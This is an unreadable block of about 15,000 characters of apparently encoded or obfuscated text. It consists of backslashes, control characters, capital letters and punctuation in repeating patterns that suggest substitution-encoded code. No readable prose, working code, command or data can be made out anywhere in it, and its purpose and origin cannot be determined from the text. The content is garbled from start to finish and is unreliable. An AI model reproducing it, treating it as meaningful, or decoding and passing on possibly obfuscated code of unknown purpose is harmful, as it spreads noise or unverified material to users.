DMUU\\v\\\\\LHMMJKTLLIN	TKNMUP\\E#
NMNMTNMJKUUGv\\<	#TLLIN	TNMJDUP\E#
NMNMTNLJHUTUP\\E#
NMNMTNMJEUUGvvvv\\\\\\\v\v\\\\\\\T(\XKU\\\\\vSS\
\vvLHMMJKTLLIN	TKNMUP\XKUGv\\\\\\\\\T9\\\XKU\v\\\\\v\v\\	\\\#NEOTUvv\v\\\\v\\\\\\T]TE#
NMNMTNMKLUUU\\	\\\\\GvX
#HE	I\A\\\\\\OL
#N#TUGv\\\\\\\\TTX
#HE	IUU\\\\	\Gv\X	IN\\\A\\\\\TU\\#T
JNTNMJDUP\LUGv\\\TX	IN\ZZ\\\\\LLIN	TNLJHUTU\\\Q\\\\X	IN\@\\\TMMKKEOQOMOEOUU\\\\	\\\\\GvXH
N
\\\A\\E#NDNTU\\\R\\\[F[\\\\R\ENMIT=>/,=(4\R\\\
JNTMDMDUP\TMWKUUGvvv\X
	DIHD#\\A\\\#JO
TNMKMU\\R\\\XH
N
\\R\\\\\LLIN	TNMHHUGv\\\\XNDLIN\\A\\
JNTNMKNU\\R\XH
N
\R\\\E#
NMNMTNMHHUGvvvX	
JO\\A\E#
NMNMTNMKOU\\\R\
JNTNMKHUT#JO
TNMKIUT=>/,=(4\\\R\\\TU\\\MHEHTUUP\\\\\LP\\\\\\TMWKUUGv\\\\\XLN
L\\A\#JO
TNMKJUTEIITUP\\LLIN	TNMHLUUGv\\\X#MKLD\A\JO#	#ETUGv\\T]X#MKLDU\\\\	\\GvvXH
LIJLE\\A\\\DOE	KTvvv\\\\E#
NMNMTKNNUPv\\T[##/0);##[P\\\\\[##,0);52#>=/9JH##[P\\\[##;)=.8#2=19##[P\\\[##*9./532##[UPv\\\TXLN
LP\\\X#MKLDP\X	
JOP\\E#NDNTUUvv\\\\\UGv\\\\\\T]XH
LIJLEU\\\vSS\+,\JRI\
F\\vv\\\TTU\\\#T#JO
TMJNHUP\\\\LU\\B\LU\\LHMMJKTLLIN	TKNMUP\LLIN	TNMKKUUGv	\\\\\\Gv\vSS\+,\JRK\
\\vv\\\XH
LIJLE\\A\
JNTNMKDUT#JO
TMIIHUP\\\^^P\\\XH
LIJLEUGv\\\\\\\T]#JO
TNMINUTXH
LIJLEU\  \\XH
LIJLE\AAA\^^U\\	\Gv\\\\TX
#HE	I\\\\\X	KOLU\\\v\\\T]<E#
NMNMTNMJJUTX	KOLUU\\\	Gv\X#DI#J\A\\
JNTNMJNUT
JNTMILDUU\C\\\\<E#
NMNMTNMKEUTX	KOLP\\[[U\\\\\F\\Gv\\\\\\TX#DI#J\\\\]AA\\ZZ\\\\LLIN	TNMJNUTLLIN	TMIMIUUU\<TX#DI#JP\03?7#9$UGv\\\\\\\\X	\\A\\<E#
NMNMTNMHMUTX	KOLUGv\\\\\\\T]E#
NMNMTNMINUTX	UU\\v\\LHMMJKTLLIN	TNMDLUP\#JO
TMHDHUUGvv\\\\\\TX#DI#J\\\]AA\U\vSS\+,\>\(F\	\Qvv\\\T#JO
TNMDMUT
JNTNMDNUUU\<TX#DI#JP\\\03?7#)2UGvvvv\\\<TX#DI#JUGv\\v\\	Gvv\v\\\TE#
NMNMTNMDOUTX	U\\B\\\\\\TMLHDILKWJEUU\\X	\\A\\#
	TX	UGv\\\TLLIN	TNMHEUTX	P\X
	DIHD#U\\\\\]AA\\\\\\\\ZZ\\\\\LLIN	TNMDHUTX	P\XNDLINU\]AA\U\	\\	Gv\\\\T]<LLIN	TNMDIUTX	KOLUU\	Gv\\XEJEH\A\\\\\INELTU\\\R\\\\
JNTNMJHU\\R\\ENMITX	KOLP\\TJ@@MUU\R\\\\E#
NMNMTNMJIUGvv\\\\\\\\X	EIN\\A\\\ENMIT=>/,=(4\\\\\\R\\\\#JO
TMDMDUP\\\\TKWMUUGXDHKLA,4,#52(#1=$S,4,#52(#1=$GXI
OIK
AXDHKLWIHGv\X	\A\DJEHDLLTX	P\\#JO
TNMDJUP\\\\LLIN	TNMDKUUGXE#

	AIDVNGXJAXE#

	QHNGv\\X	\\A\\\\\#JO
TNMKDUT#JO
TMDOLUP\\^^P\\X	UGv\\\T]
JNTNMINUTX	UU\\v\\\\LHMMJKTE#
NMNMTNMDLUP\#JO
TNMDDUUGv\	Gv\\\\\\\v\\\\\\T
JNTNMDEUTX	P\\#JO
TNMELUU\\]AA\\\\  \\#JO
TNMEMUTX	P\E#
NMNMTNLMMUU\]AA\U\v\\\XILJOM\\\\\A\\\<LLIN	TNMJJUTXEJEHU\\C\\\\<#JO
TNMHMUTXEJEHU\\\\\F\\Gv\\vv\\T]#JO
TNMINUTXILJOMU\\\\\  \XILJOM\\\AAA\\\^^U\vv\\LHMMJKTE#
NMNMTNMDLUP\\E#
NMNMTNMENUUGv\\	Gvvv\\\\v\\X	\\A\\XILJOMGvvvv	TXILJOMUGv\\v\X
EINNKI\\\\A\	H
H	
ETX	UGv\\\TE#
NMNMTNMEOUTX
EINNKIU\\\ZZ\\X
EINNKI\\]AA\^^U\\\\vXL
JE\A\<LLIN	TNMJJUTXEJEHU\\C\\<
JNTNMEHUTXEJEHU\\\F\\\Gv\T]#JO
TNMEOUTXL
JEU\\  \XL
JE\\\]AA\\\X
EINNKIU\\\HH#EOMTXEJEHP\\X
EINNKIUGv\\	TXL
JEUGv\\v\\\\\\\	TX
EINNKIUGvvX\\\\A\
JNTNMNNUGv\\\\\\TE#
NMNMTNMDOUTX	U\\\B\\L\ZZ\\\
JNTNMEMUTX	P\E#
NMNMTNMEIUU\]AA\\\\\ZZ\\\\#JO
TNMKHUTE#
NMNMTNMEJUTX	UP\QNU\\\]AA\\\E#
NMNMTNMEKUU\\X	KKEA,4,#52(#1=$S,4,#52(#1=$GXJEAX	KKEWONGv\X\\A\\^^Gv\\\v\\X	H\\\\A\\\TLLIN	TNMDOUTX	U\B\\LU\\\\\C\^ ^\\\\F\\\^^Gv\\\\\\\\XHEJILME\\\\\A\X	H\\\R\\X\\\\\\R\\\X
	DIHD#\\R\\\^ ^\\R\\\\\XH
LIJLE\\\\\\R\\\^ ^\\R\\\\XNDLIN\\R\\\^ ^Gv\\T]NJ
NK#OETX	KOLP\X	UU\vLHMMJKT#JO
TNMDLUP\\\LLIN	TNMIKUUGv\\	Gv\\\vvvv\\T]HH#EOMTX	KOLP\\\\\X	\R\\\XHEJILMEUU\\\\\\	Gv\\	\\\	Gv\\\\\\\\v\TX#DI#J\\]AA\\U\\v\\\T
JNTNMDMUTLLIN	TNMDNUUU\<TX#DI#JP\\03?7#)2UGv\\\<TX#DI#JUGvvvvSS\<Q\vv\	\\\Gv\\\\\\T(\\\\\\XKU\\v\LHMMJKT
JNTNMEDUP\\XKUGvvvv	\\\\\Gv\\\\\\\T9\\\\\XKU\v\\	\Gv\v\\\\\\v\	\IMK
J
MLTUvv\\\\\\\\v\\\\T]T#JO
TNMKLUUU\\\\\	Gv\\\\\\T#DIDE	
TEIITUUU\\	GvX
JIM\A\\\\NOLJJTUGv\X
EJ\\A\\ENMIT=>/,=(4\\\R\E#
NMNMTMOHIUP\\THWHUU\R\#JO
TMOHJUGvvv\\\\\XLN
L\A\
JNTNMKJUTEIITUP\\\\\E#
NMNMTNMHLUUGv\\XKI\\A\\\\L	DINOOTUGv\T]XKI\  \E#
NMNMTNMEEUTXKIU\\\\@\\\TIMKQMKUU\\\\vLHMMJKT
JNTMINIUP\E#
NMNMTNNLLUUGvv\\\	Gvv\\\T]#JO
TNNLMUTE#
NMNMTNNLNUUU\\\\	Gv\\XJ\\A\TvX
JIM\\\\\R\\\[S[\\\R\X
EJPv\\\\\X
JIM\R\\#JO
TNNLOU\R\\#JO
TNNLHUT#JO
TNNLIUU\\\\\R\\X
EJPvUGv\\\\XJ	EE\\\\A\\\TT#JO
TNMIEUU\\C\\\+,#?32(92(#85.\\F\\\\\\=>/,=(4\\R\\\\\
JNTDHOUU\\R\\
JNTMNIDUGv\\\\T<LLIN	TMOEMUTXJ	EEUU\\vvv\XDMH\A\\\\\MHTXJ	EEUGv\\\\\\TE#
NMNMTNMONUTXDMHUU\\v\\\TXDMH\\\\XKU\v\X	OKHKJ\\A\\XJ	EE\\R\[S[\\R\\\\\\XKGv\\\\T<LLIN	TMOEMUTX	OKHKJU\\\ZZ\\\<LLIN	TNMDIUTX	OKHKJUU\\\\\v\\\\\XJ'!\\A\\X	OKHKJ\\\R\\[S[\\\\\\R\\X
EJGX	JA,4,#1=63.#*9./532GXJDOAX	JVHGv\Gvv\vv\\v\v\\\TXJ\\\\\\XEH#
OU\\\v\\T<#JO
TMIMMUTXEH#
OU\\ZZ\\\<
JNTNLLDUTXEH#
OU\B\\\\\TLNOWLMEUU\\v\\\\\\X	L#IED\\\\\\A\\#JO
TNNLJUGv\\\TE#
NMNMTNNLMUTX	L#IEDUU\\v\\\XH	HL\\A\\\X	L#IEDTUGv\\\\\\T<XH	HLQBTXEH#
OU\AAA\\\\\	U\v\\\\XH	HLQBTUGv\	Gvvv\\\v\vv\XJEI#H\\A\\\\\\#JO
TNLLHUTXEH#
OUGvvvv\\\\T]<LLIN	TMOEMUTXJEI#HUU\\\\	KOM#TXJEI#HP\\\TEJMQHJDUP\	UGX#NIJIDANHEHGX#NIAX#NIJIDYMLGv\\\\\\\\X	L#IED\\\\A\E#
NMNMTNNLKUGv\\XJN	\A\\
MO	L	IMITXJEI#HP\\E#
NMNMTDODUUGv\\\\\TXJN	\\AAA\U\	GvvvX	
	H	NH\\\\\A\\\\\\X	L#IEDTUGv\\\\\\\\\\\T<X	
	H	NHQBTXJN	P\\\X	L#IEDFF?.9=(9\\ \\X	L#IEDFF3*9.+.5(9U\AAA\\	U\vX	
	H	NHQB:/TXLN
L\\\\\R\\\[S[\\\R\XLN
L\\\\R\E#
NMNMTNMHLUP\\XKIUGvvv\X	
	H	NHQBTUGv\\\\\XML	\\\A\\\\X	L#IEDTUGv\\\\T<XML	QBTXJN	U\\AAA\\	U\v\\\\XML	QBTUGv\\TIHMOTXJN	P\XEH#
OU\\  \\\\\\TLMIKETXJN	P\\\\\XEH#
OU\\\\\\ZZ\\\NN#		TXJN	UUU\v\\	J	LOO
NTXEH#
OP\\\\
O

TUUGv\\ODLTXEH#
OP\THOKQMKUUGv\\\\\\\\\\vvvvNN#		TXJN	UGvvvv\\\\\\\v\\\\\\\\\\v\\\\NN#		TXJN	UGv\\\v\\\\\\\\vv\\\\NN#		TXJN	UGv\\\\v\\vvvv\\\\\\\\\\\\\T(\XKU\\v\\\\\LHMMJKTLLIN	TMOHIUP\XKUGXHA,4,#52(#1=$S,4,#52(#1=$GXOOAXHWNKGv\\\\\\\\\T9\XKU\\vv\\\\\\vv	\\
I#KKOTUv\\v\\\\v\\\\T]
JNTNNLDUT#JO
TNNLEUU\  \\\\\\]
JNTNNMLUT
JNTNNMMUUU\\	Gvvvv\\\\\\\\T]TE#
NMNMTNMKLUUU\\	Gv\\\\\X#ODHJN
\\\A\\\\LLIN	TNMOKUGv\\T]##	TX#ODHJN
UU\\vvv\#	#
T#JO
TNLJHUTU\\\W\\TLMLWLMUP\\LLIN	TNNMNUP\\\\X#ODHJN
UGv\\v\\\\\\\T]##	TLLIN	TNMODUUU\\v\\\\#	#
T#JO
TNLJHUTU\\W\TKNIQMNIUP\\\LLIN	THMDUP\\\\LLIN	TNMODUUGv\\\v\\\\\\T(\\XKU\\\\v\\LHMMJKTE#
NMNMTNNMOUP\\\XKUGv\\\\\\T9\\XKU\\\\v\\\\\v\\v\\\	\\
LLEH	TUv\\\\\v\\\\\v\\\\T]TLLIN	TNMKLUUU\\	Gv\X	IMJ\\A\\\ENMIT=>/,=(4\\\\\\R\\\[[P\\\\TMHH"MINUUGvXEH#I	JH\\\\A\\TUGv\\\\\\TE#
NMNMTNNMLUTLLIN	TNNMHUUU\\\\XEH#I	JH'!\A\\INELTUGv\XEH#I	JH'!\\A\\\=>/,=(4\\\R\\\\\E#
NMNMTMJIIUGv\\\\\TLLIN	TNNMLUT#JO
TIEUUU\\\\\\XEH#I	JH'!\\A\\\\NOLJJTUGv\\\\\\\TXEH#I	JH\\\\\\XOJ##HU\\\vvvv\\XOH\\A\\\XOJ##H\\R\
JNTMJILU\\\R\X	IMJGv\\\T<
JNTNMJJUTXOHU\ZZ\\\TU\\\<E#
NMNMTMJIDUTXOHU\\B\\
JNTNNMIUTU\\\Q\\\TNMJWNHUU\	Gv\\\\v\\\\\\\TXEH#I	JH\\XOJ##HU\\XOMII#AQNKEGXD

EATXOMII#BLUCXOMII#FQXOMII#Gv\\\\\\XIKOK\\A\\XOJ##H\\R\\\LLIN	TNNMJU\\\R\\X	IMJGv\\\\\T<E#
NMNMTNMJJUTXIKOKUU\\vXEJH#NK\\A\\TU\\<
JNTNNMKUTXIKOKUGX
DAHMLGX#	KHATX
DBLUCX
DFQX
DGv\\\\\TXEJH#NK\\B\LLIN	TNNMIUTU\\Q\\TNLMNLWJJNDLU\ZZ\\\XEJH#NK\\@A\\\\LLIN	TNNMDUTU\W\TNNEWKMUU\\\\	Gvv\\\\\NN#		TXIKOKUGvvv\\\\v\\\\XH		#\\A\\\\XOJ##H\R\#JO
TMJIOU\\\R\X	IMJ\\R\\#JO
TNMHLUGv\\\\\T<
JNTNNMEUTXH		#U\\\\\ZZ\\TU\\<#JO
TNNNLUTXH		#U\\\\B\\TLJWLMDIUU\\v\X##J#IJ\\\\A\XOJ##H\\\R\E#
NMNMTNNNMU\\R\\\\\\X	IMJGv\\\\\\\\XDO\A\\\<
JNTNNMEUTX##J#IJU\\\C\
JNTMKJOUTTU\\\\<#JO
TNMEHUTX##J#IJUU\F\\^^Gvvv\TXDO\]AA\^^\ZZ\\\#JO
TNNMLUT
JNTNNNNUU\\\\ZZ\\\\<I#TXH		#U\AAA\\\XDOU\v<	\XH		#Gv\	Gv\\v\\\\TXDO\]AA\^^U\\\\\\v\NN#		TXH		#UGv\v	TX##J#IJP\\\\\XDOUGv\\\v\v\\	TXIKOKP\\\XEJH#NKUGv\\\\\\\\\T#JO
TNNMLUTE#
NMNMTNMOIUUU\<#TE#
NMNMTMJDOUUGv#KJL#TUGv\\\\\\\\T(\\\XKU\\v\\\\LHMMJKT
JNTNNNOUP\XKUGv\\\\\\T9\\XKU\\vv\\\\\v\\	\\\\\EHO#NIOTUv\v\\\\\\\\\v\\\\T]TLLIN	TNMKLUUU\\\\\\	Gv\

KHJT	UGvv\\\XLN
L\\\A\\\\\E#
NMNMTNNNHUTEIITUP\\#JO
TNMHLUUGvXJE\\\\A\\EIITUGv\vv\\\\XKI\\\\A\\^^Gv\\T<#JO
TNNMEUTXJEU\\ZZ\<LLIN	TNNNLUTXJEU\\\\B\THEKNWNDUU\v\\\\XOEI\\\\\\A\\TU\<E#
NMNMTNNNIUTXJEUGv\X
L\\\A\\#JO
TNNMLUTLLIN	TNNNJUU\\C\#
	TXOEIU\F\\\XOEIGv\\\\\\\TE#
NMNMTNMEOUTX
LU\\\\ZZ\\E#
NMNMTNMEEUTX
LU\\B\\\\TIHDQHDU\\\ZZ\\LEIOTX
LUU\XKI\\\A\X
LGv\\\\\	TXOEIP\\\\\X
LUGvv\\\\\\TXKI\\\AAA\^^U\\\XOI
JIA,4,#1=63.#*9./532GX
	MHAXOI
JIVKGv\\\XJNK\\\A\ENMIT=>/,=(4\R\\\LLIN	TMIOKUP\THWJUUGvX#MKLD\A\LLIN	TNNNKUT#JO
TNMJOUU\\\C\<#TXJNKP\^^U\\F\\\\^^Gv\\\\T]X#MKLD\\\\  \\LLIN	TNMEEUTX#MKLDU\\\\@\\\TLMNWLDUU\	GvXKI\A\\\\
#
LK#DT
JNTMIHHUTX#MKLDUUGv\\T]XKI\\\\  \\E#
NMNMTNMEEUTXKIU\@\\THJIWOIUU\	Gv\\\\\T]LEIOTXKIUU\\v\LHMMJKTLLIN	TMNEHUP\\
JNTMNEKUUGv	Gv\\\\\\vvv\X
JIM\\\\A\NOLJJTUGvvvXE#K
	JO\\\\A\\X
JIM\\R\\E#
NMNMTMJKNU\\\R\XLN
LGvv\\X#DHO\A\\XE#K
	JO\\\\R\\\\\\[S[\R\\XLN
L\\R\
JNTNMHLUGvv\\T]<E#
NMNMTMOEMUTXE#K
	JOUU\\	KOM#TXE#K
	JOP\TIKWHOJUP\	UGv\\XEE#
	D	\\A\<#JO
TNNNDUTX#DHOU\C\\TU\\\<#JO
TNNNIUTX#DHOU\\\\\F\^^Gv\XOM			\\A\\Gv\\\\TXEE#
	D	\]AA\^^\ZZ\\
JNTNNNEUT
JNTMDLIUP\#JO
TNMKHUTXEE#
	D	P\\\LP\\THLKJWNLUUP\XEIHMU\ZZ\
#TXEIHM'M!P\\\\E#NDNTUP\\[B[UU\\XOM			\\\\A\\\\\\	Gv	TXEIHMUGvvvv\\\\\\\T]XOM			\\\\\\ZZ\\\\\\TXEE#
	D	\AAA\\^^\\  \\\\
JNTNMKIUT#
	TXEE#
	D	UU\]AA\\#JO
TNMKIUTXKIUUU\\\\v\\\THH#EOMTX#DHOP\\DENJNHTXKIUUU\\\\v\\ODLTX#DHOP\TOHLWDLUUGv\\


	MMNTX#DHOUGv\\\\HDIEL#	TX#DHOUGv\\v\v\\	TXEE#
	D	P\XOM			UGv\\\\\\TLLIN	TNNNKUT#JO
TNNOLUU\\\ZZ\\\\E#
NMNMTNNOMUTE#
NMNMTMKJDUUU\\v\\\X#IIJJEK\\\A\XLN
L\\\\\R\[S[\R\XLN
L\\\R\LLIN	TNMHLUGvvvvX	OKM\\\A\\\\#TLLIN	TNNONUP\TUUGvv\\\\\T]E#
NMNMTNMONUTX	OKMUU\\\X	OKM\\\A\\\\TUGvSV\\Q\VSvv\\\\\\\\T]E#
NMNMTMNHKUTX#IIJJEKP\\\\\X	OKMP\\	UU\\vvvv\X	OKM'!\\\\A\X#IIJJEKGvvvv\\\\\\\\	#T#JO
TNNONUP\\#JO
TMOONUTX	OKMUUGv\\\vv\\\\\\v\XKOLJ\A\\\\\\#E
HNETUGv\\\T<LLIN	TMOEMUTXKOLJU\\\\\  \\	KOM#TXKOLJP\\THDOWMLUP\\	UU\\v\\\XE	O	\A\\\XKOLJ\\\\R\\[S[\\\\\R\\XLN
L\\R\E#
NMNMTNMHLUGv\\X#O#\\\A\\\\\<
JNTNNNDUTXE	O	U\\C\\\\\\TU\\<LLIN	TNNNIUTXE	O	U\F\\\\^^Gv\XL
KK\A\Gv\\\\\\\\TX#O#\\]AA\\\\\^^\\ZZ\\\\E#
NMNMTNNNEUTE#
NMNMTMDLIUP\LLIN	TNMKHUTX#O#P\LP\\\\\THLHOWIOUUP\XNJD
K
LU\\ZZ\\\
#TXNJD
K
L'M!P\\\E#NDNTUP\\\\\\[B[UU\\\\\XL
KK\A\\	Gv\\\\\	TXNJD
K
LUGv\\T]XL
KK\\\\ZZ\TX#O#\\AAA\^^\\  \\\\\\
JNTNNOOUT#
	TX#O#UU\\\\\\]AA\\#JO
TNNOOUTXKIUUU\\vv\\\\THH#EOMTXE	O	P\\\DENJNHTXKIUUU\\\\v\\\\\ODLTXE	O	P\\TOIKWJOUUGv\\\


	MMNTXE	O	UGvv\\HDIEL#	TXE	O	UGvv\\\\T]XL
KKU\\XL#LMA,4,#52(#1=$S,4,#52(#1=$GXO
NAXL#LMWOGv\\\\\XHMIJM\\\A\\\<LLIN	TNNMKUTXE	O	UGvvv\\\\T]XHMIJM\\\\\  \TXHMIJM\\\Y\\\\TMKEJONQKEJONUU\]AA\\MHEHTUU\


	MMNTXE	O	UGv\\vv\\\\	TXHMIJMUGXA,4,#52(#1=$S,4,#52(#1=$GXLAXWDLGv\v\\\\	TX#O#P\\XL
KKUGvvv\\vv\\	LOIIDJHTXKIUGv\\\T(\XKU\\\\vLHMMJKT
JNTNNOHUP\\\XKUGv\\\\\\\\\\\\\T9\\XKU\\v\\\v\\\v	\\\\OJDMMNTUv\\v\\T]TX#;9('[[!U\\  \\]LLIN	TNMEOUTX#;9('[[!UU\\	Gvv\\\\\\XLHJ\A\\\\\X#;9('[[!Gvvvv\\\\\\\TXLHJ\\\AAA\\HE#H	T
JNTMHMJUUU\\v\\vvv\XELKI\A\\\INELTU\R\\[S[\\R\\\ENMIT=>/,=(4\R\E#
NMNMTMHMJUP\\TMKM"MJOUU\\\\\\R\
JNTNMHLUGvv\\\XNJJ\\\A\\\<LLIN	TNNOIUTXELKIU\\\\C\TU\\\\\<#JO
TNNOJUTXELKIU\F\LGv\\TXNJJ\\\\B\\\\\THLHWEJU\\ZZ\\XNJJ\@A\\\\\\TINHNDLHWKJUU\\\v\\	\\XELKIGv\v\\\\\\\\\\\\\T(\\XKU\\\vSS\,4,\DRM\\\
vv\\\\\\\T9\\XKU\vv\\\\\\\TLLIN	THOKUTU\\\B\\L\\ZZ\\\\\<##TUU\\vv\T
JNTNNOKUUGvGv\vvv\\\\TXLHJ\\\]AA\\\\HE#H	TLLIN	TNNODUUU\	Gvvv\\\\\\\v\\\\\\\T
JNTNNOEUTE#
NMNMTNNOLUU\\\ZZ\\\
JNTNNOEUTE#
NMNMTMKJDUUU\v<	#TE#
NMNMTNNHLUP\\\\TU\<#TLLIN	TNNHMUP\\\LU\W\MP\#JO
TNMJEUUGv\\\\<	#TLLIN	TNNHNUP\\E#
NMNMTNNHOUTUP\LLIN	TNMJEUUGvvv\\\X	H\\\A\D#M	NHONTLLIN	TOEEUP\\\^^UGvvv\\\\TLLIN	TNMEEUTX	HU\B\\TLMEWLHU\ZZ\]
JNTNNNEUTLLIN	TNNHHUP\X	HU\ZZ\\LLIN	TNNNEUT#JO
TNNHIUP\X	HUU\\\v\X	MLHE\\\\A\<LLIN	TNNHJUTX	HP\\\	UGv\\\TX	MLHE\\\\]AA\\\\ZZ\
JNTNMEEUTX	MLHEU\B\TNLL"MKNUU\X	H\\\\\A\\\\X	MLHEGvv\\\\\\\\\\T#JO
TNMEEUTX	HU\\@\\TLIWLIUU\X	H\\\A\\\OD	K#	JHKETUGv\\\\\\\\\\T#JO
TNMEEUTX	HU\\@\\\\\TLHIWLMUU\\\\vv\\\\\\\\\T
JNTNNHKUTU\\\\\B\L\\ZZ\\\\\<##TUU\\vvv\vvvTLLIN	TNNHDUUGvv\\\\\\T#JO
TNNHEUUGv\\\TLLIN	TNNILUUGv\\\\\\\\Gv\\\\\\vSS\<\QvvX\\\\\A\D#M	NHONTE#
NMNMTMODLUP\\\^^UGv\XLD	LJI\\\A\[^[\R\\
JNTNNOOUTX\R\\\\X	HU\\\\\R\\\[^[Gvv\\\\TTX#/9.*9.'
JNTNNIMU!U\\\ZZ\\LLIN	TNNINUTX#/9.*9.'
JNTNNIOU!U\\AAA\\XLD	LJIU\\\\\v\\\T
JNTNNHKUTU\B\\\\L\\\\\\ZZ\\\\\\<##TUU\\vvv\\v\\\\\\\TLLIN	TNNIHUUGv\\TE#
NMNMTNNIIU\\R\XLD	LJIUGv\Gvv\\v\T
JNTNNHKUTU\B\\L\\ZZ\\<##TUU\\\vSS\\vv\v\TLLIN	TNNHDUUGvv\T#JO
TNNHEUUGv\\\\TE#
NMNMTNNIJUUGv\\\T#JO
TNNIIU\\R\XLD	LJIUGv\\\\X\\\\\R\\\\X	HGvvvv\\\Gvvv\\\\\\\\\\\T(\XKU\vv\\LHMMJKTE#
NMNMTNNIKUP\\\XKUGv\\\\\\\\T9\\\\XKU\\v\LHMMJKTE#
NMNMTNNIKUP\XKUGv\\\\\\v\vvvOJDMMNTUGv\\\\\\	\\\\\	NOMITUv\v\\\\\\\T]TX#;9('E#
NMNMTNNIDU!UU\\	Gvvvv\\\v\XHK\\A\X#;9('#JO
TNNIDU!Gv\\T]
JNTNMEOUTXHKU\\\\\  \\XHK\\AAA\\\\^^U\\	Gvvv\\XHK\\\\A\\\\
JNTNNIEUTXHKUGvXOL\A\\\TUGv\\\\\\\\\\T
JNTNNJLUTLLIN	TNNJMUUU\\\XOL'!\\\\A\\TU\\LLIN	TNNJNUT#	TUP\\\\,4,#).0#43/(UGvvvv\\\\\\T
JNTNNJOUTLLIN	TNNJHUUU\v\\\\XELL\\\\\\A\\\\\TU\\<#TE#
NMNMTJMEUP\\\^^UGv\\\\TXELL\\]AA\^^U\\\XOL'!\\A\TU\
JNTNNJNUTXELLP\\\\\\,4,#).0#43/(UGv\vSS\Q\
\\,4,)\MLvv\\\\\\\\\\\\TTX#/9.*9.'#JO
TMJKIU!UU\\\XOL'!\A\TU\\X#/9.*9.'LLIN	TMJKIU!Gv\\\\XOL'!\A\\\\KJKLHNET^^UGv\\\\XDMK\A\\Gvvv\\\\\\\\\T
JNTMNDJUTXOLU\\\\XJLU\\\v\T]
JNTNNJIUTXJLU\\\  \\XJL\\\\AAA\\^^U\\\\\\	GXKOIDA,4,#52(#1=$S,4,#52(#1=$GX	
JAXKOIDWODGv\\T
JNTNMEMUTXJLP\\[F[U\\]AA\\U\\\XJL\A\\E#
NMNMTNMKDUT#JO
TNNJJUP\\\\^^P\\\\\XJLUGv\\\\\\\\\TENMIT#JO
TNNIEUTXJLU\R\\\\#JO
TNNJKUP\\\\\\TMDQJUU\\\\\\AAA\XHKU\\\\\\v\\\XDMK\\A\	Gvvvv\\\Gvvv\\\v\\\\v\\T]XDMKU\	GvXL##MIE#\\\A\
JNTMHLEUT#JO
TNNJDUP\\\TEWNMUUGv\XILML	EMJ\\A\\
#
LK#DTEJ	DTXL##MIE#UUGvvvv\T#JO
TNNHKUTU\B\L\\ZZ\\<##TUU\\\v\\\\\\\v\\\T#JO
TNNJEUUGv\\\T
JNTNNKLUUGv\\\\\\\\\TXILML	EMJ\\AAA\\\XL##MIE#U\C\
JNTNNKMU\\R\#JO
TNNOOUTXL##MIE#U\F\\\#JO
TNNKNUGvv\Gv\\\\T(\\XKU\\vvvvLHMMJKTE#
NMNMTNNKOUP\XKUGv\\\\\\\\\\\T9\XKU\\\v\\\\\\LHMMJKT#JO
TNNKHUP\\XKUGXKH	K
L
DJAJMWOMGX##HIAXKH	K
L
DJQHMGv\vSS\Q\\\+,\JRK\
vv\\\\v\\\\\\	NOMITUGv\\	\J
D#LTUv\v\\\v\\\\TE#
NMNMTNNJOUTLLIN	TNNKIUUU\\\##TUGv\\\\\\\\\\\T#JO
TNNKJUTE#
NMNMTNNKKUUU\\O#	#TUGvv\\\\T#JO
TNNKDUT#JO
TNNKEUUU\##	#TUGv\\\TLLIN	TNNKDUTLLIN	TNNDLUUU\\\\#	#TUGvvvv\\\\\TE#
NMNMTNNLMUTLLIN	TNNDMUU\ZZ\
JNTMOMEUTLLIN	TNNDMUP\\\\\
JNTNNDNUUU\0/#?#=,5FF	#TUGv\\\\\\\\\TE#
NMNMTNNLMUT
JNTNNDOUU\ZZ\\\E#
NMNMTNNDHUTLLIN	TNNDOUP\\LLIN	TNNDIUUU\>#,	?FF##	TUGvv\TLLIN	TNNLMUTE#
NMNMTIKEUU\\\\\ZZ\E#
NMNMTNNDHUT#JO
TNNDJUP\\\\\E#
NMNMTNNDKUUU\\\?#9FF##TUGv\T
JNTNNKDUT#JO
TNNDDUUU\###TUGvvv\\\\\\TTX;03>=0/'#JO
TNNDEU!U\ZZ\\LLIN	TNNELUTX;03>=0/'E#
NMNMTNNEMU!U\\\\ZZ\\E#
NMNMTNNENUTX;03>=0/'E#
NMNMTNNEOU!P\LLIN	TNNEHUUU\X;03>=0/'#JO
TNNEOU!QB?T	UGv\\\\\T#JO
TNNKDUT#JO
TNNEIUUU\\###TUGv\\TE#
NMNMTNNLMUTE#
NMNMTNNEJUU\\ZZ\\\\\LLIN	TNNENUT
JNTNNEJUP\\LLIN	TNNEKUUU\\\\	?FFTUGv\\LHMMJKT#JO
THKIUP\\
JNTNNEDUUGv\\\\\\\\\T(\\XKU\\\v\LHMMJKTE#
NMNMTHKIUP\XKUGv\\\\\\\\\\T9\\\XKU\v\vv\\v	\\EN	KEKTUv\\\v\\\\\T#JO
TNNEEUT
JNTNOLLUU\ZZ\\#TUU\\	\\\	Gv\\\\\\\\\\\\TE#
NMNMTNNEEUT
JNTNOLMUU\\ZZ\\\\\##TUU\\	\	Gv\\\TT
JNTNOLNUU\\\\\\ZZ\\.9/(#.9-)9/(U\\\\	\\	Gv\\\\\\TT#JO
TNOLOUU\\ZZ\$10.,?#.9-)9/(U\\\	\\\\\	Gvv\\T#JO
TNOLHUTLLIN	TNOLIUU\\\ZZ\\\#TUU\\\	\\\	Gv\\\\TLLIN	TNOLHUT#JO
TNOLJUU\\ZZ\#TUU\\	\\\\	GXMOAHIJGXM
KATXMOBLUCXMOFQXMOGv\vv\\\\TE#
NMNMTNOLHUT#JO
TNOLKUU\\ZZ\\#TUU\\\\\\	\	Gv\\\\\TE#
NMNMTNOLDUT#JO
TNOLEUU\\ZZ\\#	#
TUU\\\\\	\	GX		
O#AKO MEHGXDKJAX		
O#"NHHGv\\\\\\TTX#;9('#JO
TNOMLU!U\  \TX#;9('LLIN	TNOMMU!U\  \\\\\TX#;9('
JNTNOMNU!UU\\	\	Gv\\	\\Gvv\\	\\\	#IKJ	IDD
TUv\\\\v\XHLOM#I\\A\\\\\TTX;03>=0/'
JNTJEKU!U\\\ZZ\\
JNTNOMOUTX;03>=0/'LLIN	TJEKU!UU\\\\\C\\\\
JNTNNINUTX;03>=0/'E#
NMNMTJEKU!U\\\F\\\^^Gv\\\\TXHLOM#I\\AAA\\^^U\\	\\\\^^Gvv\\\\\\XHLOM#I\\\\A\E#
NMNMTMENJUTE#
NMNMTNOMHUP\
JNTNOMIUP\\\\XHLOM#IUGv\\\\XMJLJNMJH\A\\\#JO
TNOLDUTE#
NMNMTNNJMUU\C\TU\E#
NMNMTNNJNUT#	TUP\\\\,4,#).0#43/(U\F\^^Gv\\\\\XMO\\A\\\ENMITE#
